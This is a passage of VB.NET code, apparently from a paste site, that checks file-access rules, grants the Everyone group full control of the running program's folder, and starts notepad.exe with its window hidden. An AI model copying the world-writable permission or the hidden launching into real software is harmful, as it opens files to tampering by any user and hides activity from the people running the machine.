  1283. If rule.IsInherited Then
  1284. inheritedDeny = True
  1285. Else
  1286. ' Non inherited "deny" rule takes overall precedence.
  1287. If access = AccessControlType.Deny Then
  1288. Return True
  1289. Else
  1290. Return False
  1291. End If
  1292. End If
  1293. ElseIf rule.AccessControlType.Equals(AccessControlType.Allow) AndAlso
  1294. ((rule.FileSystemRights _
  1295. And rights) = rights) Then
  1296. If rule.IsInherited Then
  1297. inheritedAllow = True
  1298. Else
  1299. allow = True
  1300. End If
  1301. End If
  1302. End If
  1303. Next rule
  1304. If allow _
  1305. AndAlso (access = AccessControlType.Allow) Then
  1306. ' Non inherited "allow" takes precedence over inherited rules.
  1307. Return True
  1308.  
  1309. ElseIf inheritedAllow _
  1310. AndAlso Not inheritedDeny _
  1311. AndAlso (access = AccessControlType.Allow) Then
  1312. Return True
  1313. Else
  1314. Return inheritedDeny _
  1315. AndAlso Not inheritedAllow
  1316. End If
  1317. End Function
  1318.  
  1319. 'Assembly Access Control
  1320. Sub GrantAccess()
  1321. Dim dInfo As New DirectoryInfo(Reflection.Assembly.GetExecutingAssembly.Location)
  1322. Dim dSecurity As DirectorySecurity = dInfo.GetAccessControl()
  1323. dSecurity.AddAccessRule(New FileSystemAccessRule(New SecurityIdentifier(WellKnownSidType.WorldSid, Nothing),
  1324. FileSystemRights.FullControl,
  1325. InheritanceFlags.ObjectInherit Or InheritanceFlags.ContainerInherit,
  1326. PropagationFlags.NoPropagateInherit, AccessControlType.Allow))
  1327. dInfo.SetAccessControl(dSecurity)
  1328. End Sub
  1329.  
  1330. #End Region
  1331.  
  1332. 'You can use SyncLock to force your threads to wait. Class level so all threads access same lock
  1333. 'Then use syncLock when you start your process and end it when you are done.
  1334. Friend Sub HiddenProcess1()
  1335. SyncLock myLock
  1336. Dim _File As String = "C:\windows\system32\notepad.exe"
  1337. Dim _Process As New Process()
  1338. _Process.StartInfo.FileName = _File
  1339. _Process.Start()
  1340. ShowWindow(_Process.MainWindowHandle, ShowWindowType.Hide)
  1341. End SyncLock
  1342.  
  1343. End Sub
  1344.  
  1345. Friend Sub HiddenProcess2()
  1346. SyncLock myLock
  1347. Dim _File As String = "C:\windows\system32\notepad.exe"
  1348. Dim _Process As New Process()
  1349. _Process.StartInfo.FileName = _File
  1350. _Process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
  1351. _Process.Start()
  1352. End SyncLock
  1353. End Sub
  1354.  
  1355. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement